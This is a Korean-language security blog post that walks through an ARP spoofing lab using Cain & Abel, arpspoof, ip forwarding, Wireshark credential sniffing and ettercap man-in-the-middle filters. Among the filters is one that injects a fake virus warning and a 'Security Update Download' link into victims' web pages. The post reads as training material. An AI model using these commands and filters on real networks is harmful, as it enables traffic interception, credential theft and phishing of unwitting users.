kkamagi's story

IT, 정보보안, 포렌식, 일상 공유

Cyber Security

[정보보안] ARP spoofing 실습

까마기 2015. 1. 21. 22:25
728x90
반응형

Arp spoofing 해킹 기법과 보안 대책

- Arp cache poisoning
- Arp poisoning routing(APR)

* 발생원인 : arp 프로토콜 자체에 인증 절차가 없어서 시스템들이 arp 패킷이 전달되면 자신의 cache 엔트리에 등록하여 경로로 사용함
-엔트리에 등록된 IP와 MAC의 부정 여부는 묻지도 따지지도 않음.
-엔트리(cache)에 등록되면 자기가 네트워크를 참조할 때 가장 먼저 참조를 하기 때문에 잘못된 경로로 패킷을 전달 할 수 있음.

영향 : sniffing - ID/PWD를 훔쳐보기
spoofing - 패킷 조작, => arp spoofing 이후에 dns spoofing 까지 공격하여 희생자가 접속하는 웹 사이트를 피싱사이트로 접속 유도나 조작할 수 있음.
공격성공률 : 100%에 가까움(로컬 네트워크 영역이기 때문에), 로컬영역중 가장 무서운 해킹중 하나.

공격 수행 : 윈도우 - Cain & Abel (현존하는 툴중 최고)
BT5 - 많은 arp spoofing 관련 툴 내장.
- arpsoof, ettercap

Cain & Abel
=> Password 복구 툴로 소개됨.

=> Cain - 스니퍼툴, Abel - 원격툴

=> sniffing
=> arp cache poisoning
=> dns spoofing
=> (NTLMv2)포함하여 거의 모든 password cracking
=> VoIP sniffing
=> Wireless Injection attack airpcap 이라는 랜카드만 붙는다?
=> hash 계산기 등

========================================================

<Cain & Abel> 공격 준비
공격자  희생자

1)IP확인 : ipconfig  ipconfig

2)인터넷 접속 확인

3)arp cache 확인

4) 공격자 - cain & Abel 설치
=> 패킷 수집기가 포함되기 때문에
winpcap 라이브러리가 설치 되어야 함.

5) Attacker , Victim
  
Attacker                                                                          Victim
재부팅                                                                             재부팅
arp -a                                                                              arp -a
알FTP 다운 설치

6) cain & abel 실행
-host scan
-희생자 ip에 대하여 APR(Arp Posion Routing)
-dns spoofing : www.daum.net : 172.16.11.250
www.naver.com : 172.16.11.250
-모니터링
                  

<Victim>
arp -a 로 cache가 바꼈는지 확인
www.daum.net에 접속하고
도스창에서 telnet 172.16.11.250
id : root, pwd : toor
그다음 ftp접속=>ftp 172.16.11.250
id-root, pwd-toor


<BT5를 이용한 arp spoofing 공격>

1) 실습 환경 구성

Attacker                                                                                     Victim
BT5                                                                                             XP-VM
재부팅

# arp -a

# ifconfig
# dhclient eth3
# arpspoof -h

2) 공격

arpspoof -i eth3 -t 희생자_IP 게이트웨이_IP

- 인터페이스를 입력하게 되면 게이트웨이 MAC을 이용하여
희생자에게 cache 엔트리에 등록함                                              
# ​arp -a 로 확인

3) arpspoof -t 희생자1_IP

4) ip forwarding 활성화

-희생자가 가고자 하는 네트워크로 IP전달.
=> 커널 : cat /proc/sys/net/ipv4/ip_forward
확인해보면 0으로 되어 있으면 forward를 하지 않음.(네트웍 인터페이스를 확인하지 않았다?)

echo 1 > /proc/sys/net/ipv4/ip_forward => 네트워크에 들어갈 수 있도록 연결
또는 어플리케이션(유틸) : fragrouter -B1 ===> BT4에는 안 깔려 있다.
5)#wireshark <희생자>
-모니터링.  http://www.drbook.co.kr
aaaa/aaaa

* 패킷에서 id/pwd 찾기


<BT5 - etthercap (GUI)>

- 메뉴에서 실행
** arp cache poisoning
- 도청(Active Sniffing) : spoofing
- 조작(Filtering) : 패킷 조작(downgradming)
- 삽입(Injection) - 로그인 이후 세션 하이재킹으로 커맨드 입력 상태를 해킹
- DoS/DDoS


*패킷조작(Filter)=MITM(Man In The Middle) attack
1) VmWare XP 2대로 통신 상태 확인.
공격자                                                  BT5  희생자
nc(netcat.exe)채팅프로그램                     <-->                                             nc(netcat).exe
nc.exe 프로그램을 c: 로 옮김 중간에서

C:\nc.exe                                < ---도스창에서 실행할 것--> 바탕화면 : \nc.exe(도스창에서 Tap키 \nc.exe

공격자가 server 역할                                                                                   희생자가 client 역할
->ip,port 띄워서 서비스 대기                                                           서버의 IP, port 이용하여 접속
(nc가 서버가 되기위해 nc.exe -lvp 9000) -->nc.exe 서버_IP port
-->대기 


공격자에서hi~ 
-l : listen, 대문자 L 주면 여러멍 대기
-v : verbose(진행과정 확인)
-p : 포트

희생자에서 hello 치면 hello가 뜬것을 확인


2) 이제 BT5를 이용하여 MITM 공격하기 (메세지 불법 수정) modification of message
===>패킷 조작
공격자 패킷 조작 필터 작성
- etthercap의 필터 기능 이용
- etterfilter를 이용함

#nano test.ecf
if ( search(DATA.data, "love"))
{
replace("love","hate");
}

#etterfilter -o test.ef test.ecf

ettercap에 필터를 적용하여 MITM 공격
#ettercap -i eth3 -T -M arp -F test.ef // //
-T : text
-M : mitm mode
-F : filter file
// : mac/ip/port // : 타겟 전체
// :  // : Host 전체

공격자와 희생자 통신
-통신 내용 love 입력하면 hate 변경 확인


**************************
공격중지
***************************
3) 또다른 MITM 공격
-공격자, 희생자가 웹 사이트에 접속하게 되면 패킷 조작해서 웹 사이트 문서에 악성코드 감염되었다고 메세지 출력, 다운로드 버튼 생성하는 패킷.

- BT5에서 공격 필터를 생성
공격자               BT5               희생자
arp -a arp -a

BT5
#nano iframe.ecf

if ( ip.proto == TCP && tcp.dst == 80) {
if (search(DATA.data, "Accept-Encoding")) {



replace("Accept-Encoding","Accept-Nothing!");
}
}
if (ip.proto == TCP && tcp.src == 80) {
if ( search(DATA.data, "<title>")) {
replace("<title>","</title></head><body><center><font color='red'>
<h1>Warning!!</h1></font> Virus was Detected in the System</br>
Please use the Internet after virus treatment.</br>
Blow to download the security patch</br>
<font color='blue'>Security Update Download</font></a>
</center></body></html>");
}
}



반응형

'Cyber Security' 카테고리의 다른 글

[정보보안] DDoS(Distribute Denial of Service attack)  (0) 2015.01.22
DNS spoofing, SSL Webmitm  (0) 2015.01.21
DoS 공격 / iptables synflooding  (0) 2014.11.09
Arp Spoofing  (0) 2014.11.02
admin$ 공유를 이용한 계정 탈취  (0) 2014.11.02